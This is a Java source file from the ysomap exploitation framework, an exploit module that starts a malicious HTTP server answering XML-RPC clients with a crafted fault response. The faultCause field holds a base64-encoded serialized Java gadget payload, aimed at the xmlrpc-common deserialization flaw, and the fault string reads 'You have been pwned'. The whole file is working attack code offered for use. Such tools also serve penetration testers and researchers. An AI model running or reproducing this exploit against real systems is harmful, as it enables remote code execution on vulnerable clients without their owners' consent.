package ysomap.exploits.xmlrpc;

import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.core.serializer.Serializer;
import ysomap.core.serializer.SerializerFactory;
import ysomap.core.util.HTTPHelper;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.jmx.JMXEvilMLetServer;

import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;

/**
 * @author wh1t3P1g
 * @since 2020/8/27
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"all gadgets"}, param = false)
@Details("xmlrpc-common组件的攻击包\n" +
        "原理参考https://github.com/orangecertcc/xmlrpc-common-deserialization。\n" +
        "需要设置一个指定的payload。")
public class XmlRPCServer extends AbstractExploit {

    @NotNull
    @Require(name = "path", detail = "设置请求路径")
    public String path;

    @NotNull
    @Require(name = "lport", detail = "设置监听本地端口")
    public String lport;

    private HttpServer server;

    @NotNull
    private Object payload;
    private String payloadName;

    @Override
    public void work() {
        String xml =
                "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                        "<methodResponse>\n" +
                        "  <fault>\n" +
                        "    <value>\n" +
                        "      <struct>\n" +
                        "        <member>\n" +
                        "          <name>faultCode</name>\n" +
                        "          <value><int>1337</int></value>\n" +
                        "        </member>\n" +
                        "        <member>\n" +
                        "          <name>faultString</name>\n" +
                        "          <value><string>You have been pwned</string></value>\n" +
                        "        </member>\n" +
                        "        <member>\n" +
                        "          <name>faultCause</name>\n" +
                        "          <value><base64>"+ getPayload() +"</base64></value>\n" +
                        "        </member>\n" +
                        "      </struct>\n" +
                        "    </value>\n" +
                        "  </fault>\n" +
                        "</methodResponse>";

        needRunning = true;
        int p = Integer.parseInt(lport);
        try {
            Map<String, HttpHandler> paths = new LinkedHashMap<>();
            paths.put(path, new HTTPHelper.PayloadHandler(xml.getBytes()));

            server = HTTPHelper.makeSimpleHTTPServer(p, paths);
            server.start();
            Logger.success("Opening Payload HTTPServer on " + lport);
            Logger.success("Paths "+path);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        if(server != null){
            server.stop(0);
            Logger.success(JMXEvilMLetServer.class.getSimpleName()+ " done!");
        }
        status = Status.STOPPED;
        needRunning = false;
    }

    public String getPayload(){
        Serializer serializer = SerializerFactory.createSerializer("default");
        try {
            byte[] bytes = (byte[]) serializer.serialize(payload);
            return Base64.getEncoder().encodeToString(bytes);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}
